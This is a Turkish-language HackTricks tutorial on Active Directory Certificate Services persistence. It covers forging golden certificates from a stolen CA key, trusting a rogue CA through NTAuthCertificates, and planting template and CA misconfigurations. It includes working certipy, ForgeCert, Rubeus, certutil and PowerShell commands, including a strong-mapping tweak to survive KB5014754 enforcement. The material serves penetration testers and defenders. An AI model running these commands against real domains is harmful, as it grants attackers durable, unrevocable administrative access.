AD CS Etki Alanı Kalıcılığı
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu, https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf içinde paylaşılan etki alanı kalıcılığı tekniklerinin bir özetidir. Daha fazla ayrıntı için inceleyin.
Forging Certificates with Stolen CA Certificates (Golden Certificate) - DPERSIST1
Bir sertifikanın CA sertifikası olduğunu nasıl anlarsınız?
Bir sertifikanın CA sertifikası olduğu şu koşullar sağlandığında belirlenebilir:
- Sertifika CA sunucusunda saklanır; özel anahtarı makinenin DPAPI'si tarafından veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur.
- Sertifikanın Issuer ve Subject alanlarının her ikisi de CA'nın ayırt edici adı (distinguished name) ile eşleşir.
- Sadece CA sertifikalarında "CA Version" uzantısı bulunur.
- Sertifikada Extended Key Usage (EKU) alanları yoktur.
Bu sertifikanın özel anahtarını çıkarmak için, CA sunucusundaki certsrv.msc
aracı, yerleşik GUI üzerinden desteklenen yöntemdir. Bununla birlikte, bu sertifika sistemde saklanan diğerlerinden farklı olmadığı için, çıkarım için THEFT2 technique gibi yöntemler uygulanabilir.
Sertifika ve özel anahtar ayrıca Certipy kullanılarak aşağıdaki komut ile elde edilebilir:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
CA sertifikası ve özel anahtarını .pfx
formatında ele geçirdikten sonra, ForgeCert gibi araçlar geçerli sertifikalar oluşturmak için kullanılabilir:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
warning
Sertifika taklidi hedeflenen kullanıcının işlemin başarılı olması için Active Directory'de aktif ve kimlik doğrulama yapabilecek durumda olması gerekir. krbtgt gibi özel hesaplar için sertifika taklidi etkisizdir.
Bu sahte sertifika belirtilen sona kadar geçerli olacak ve kök CA sertifikası geçerli olduğu sürece (genellikle 5 ila 10+ yıl) geçerliliğini koruyacaktır. Ayrıca makineler için de geçerlidir; bu nedenle S4U2Self ile birleştiğinde bir saldırgan, CA sertifikası geçerli olduğu sürece herhangi bir domain makinesinde kalıcı erişim sağlayabilir.\
Ayrıca, bu yöntemle üretilen sertifikalar CA bunların varlığından haberdar olmadığı için iptal edilemez.
Operating under Strong Certificate Mapping Enforcement (2025+)
11 Şubat 2025'ten itibaren (KB5014754 dağıtımından sonra), domain controller'lar sertifika eşlemeleri için varsayılan olarak Full Enforcement moduna geçmiştir. Pratikte bu, sahte sertifikalarınızın ya:
- Hedef hesaba güçlü bir bağ içermesi gerektiği anlamına gelir (örneğin, SID security extension), veya
- Hedef nesnenin
altSecurityIdentities
özniteliğinde güçlü, açık bir eşleme ile eşleştirilmiş olması gerektiği anlamına gelir.
Kalıcılık için güvenilir bir yaklaşım, çalınmış Enterprise CA'ya zincirlenmiş bir sahte sertifika oluşturarak ardından kurban principal'a güçlü, açık bir eşleme eklemektir:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Notlar
- Eğer SID güvenlik uzantısını içeren sahte sertifikalar oluşturabiliyorsanız, bunlar Full Enforcement altında bile örtük olarak eşlenecektir. Aksi takdirde, açık ve güçlü eşlemeleri tercih edin. Açık eşlemeler hakkında daha fazla bilgi için account-persistence bakın.
- Geri çağırma (revocation) burada savunmacılara yardımcı olmaz: sahte sertifikalar CA veritabanında bilinmediğinden iptal edilemez.
Rogue CA Sertifikalarına Güvenme - DPERSIST2
NTAuthCertificates
nesnesi, Active Directory (AD) tarafından kullanılan cacertificate
özniteliği içinde bir veya daha fazla CA sertifikası içerecek şekilde tanımlanmıştır. Etki alanı denetleyicisi tarafından yapılan doğrulama süreci, doğrulayan sertifika'nın Issuer alanında belirtilen CA ile eşleşen bir giriş için NTAuthCertificates
nesnesini kontrol etmeyi içerir. Bir eşleşme bulunursa kimlik doğrulama devam eder.
Bir saldırgan, bu AD nesnesi üzerinde kontrole sahipse NTAuthCertificates
nesnesine self-signed bir CA sertifikası ekleyebilir. Normalde bu nesneyi değiştirme izni yalnızca Enterprise Admin grubunun üyelerine ve ayrıca Domain Admins veya Administrators üyelerine, forest root’s domain içinde verilir. NTAuthCertificates
nesnesini certutil.exe
ile certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA
komutunu kullanarak veya PKI Health Tool aracını kullanarak düzenleyebilirler.
Bu teknik için ek yardımcı komutlar:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
Bu yetenek, ForgeCert kullanarak sertifikaları dinamik olarak oluşturmayı içeren daha önce açıklanan yöntemle birlikte kullanıldığında özellikle önemlidir.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities
). See AD CS Account Persistence.
Kötü Amaçlı Yanlış Yapılandırma - DPERSIST3
AD CS bileşenlerinin security descriptor modifications of AD CS yoluyla persistence için fırsatlar çok fazladır. "Domain Escalation" bölümünde tanımlanan değişiklikler, yükseltilmiş erişime sahip bir saldırgan tarafından kötü amaçlı olarak uygulanabilir. Bu, aşağıdaki gibi hassas bileşenlere "control rights" (ör. WriteOwner/WriteDACL/vesaire) eklenmesini içerir:
- CA sunucusunun AD computer nesnesi
- CA sunucusunun RPC/DCOM server
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>
içinde bulunan herhangi bir descendant AD object or container (örneğin, Certificate Templates container, Certification Authorities container, NTAuthCertificates object vb.)- Kuruluş veya varsayılan olarak AD groups delegated rights to control AD CS (ör. yerleşik Cert Publishers grubu ve üyeleri gibi)
Zararlı bir uygulama örneği, domaine elevated permissions ile erişimi olan bir saldırganın varsayılan User
sertifika şablonuna WriteOwner
iznini eklemesi ve saldırganın bu hakkın principal'ı olmasıdır. Bunu suistimal etmek için saldırgan önce User
şablonunun sahipliğini kendisine değiştirir. Ardından şablonda mspki-certificate-name-flag
1 olarak ayarlanarak ENROLLEE_SUPPLIES_SUBJECT
etkinleştirilir ve talep sırasında bir Subject Alternative Name sağlanmasına izin verilir. Daha sonra saldırgan, template kullanarak enroll olabilir, alternatif ad olarak bir domain administrator adı seçebilir ve alınan sertifikayı DA olarak kimlik doğrulama için kullanabilir.
Uzun vadeli domain persistence için saldırganların ayarlayabileceği pratik seçenekler (tam ayrıntılar ve tespit için bkz. AD CS Domain Escalation):
- İstekçilerin SAN sağlamasına izin veren CA politika bayrakları (ör.
EDITF_ATTRIBUTESUBJECTALTNAME2
'yi etkinleştirmek). Bu, ESC1-benzeri yolları kullanılabilir durumda tutar. - Kimlik doğrulamaya elverişli sertifika verilmesine izin veren Template DACL veya ayarları (ör. Client Authentication EKU eklemek,
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
'u etkinleştirmek). - Savunucular temizlik yapmaya çalışırsa kötü niyetli imzalayıcıları sürekli yeniden tanıtmak için
NTAuthCertificates
nesnesini veya CA container'larını kontrol etmek.
tip
KB5014754 sonrası sertleştirilmiş ortamlarda, bu yanlış yapılandırmaları açık güçlü eşlemeler (altSecurityIdentities
) ile eşleştirmek, DC'ler güçlü eşlemeyi uygulasa bile düzenlediğiniz veya sahtelediğiniz sertifikaların kullanılabilir kalmasını sağlar.
Referanslar
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- 0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.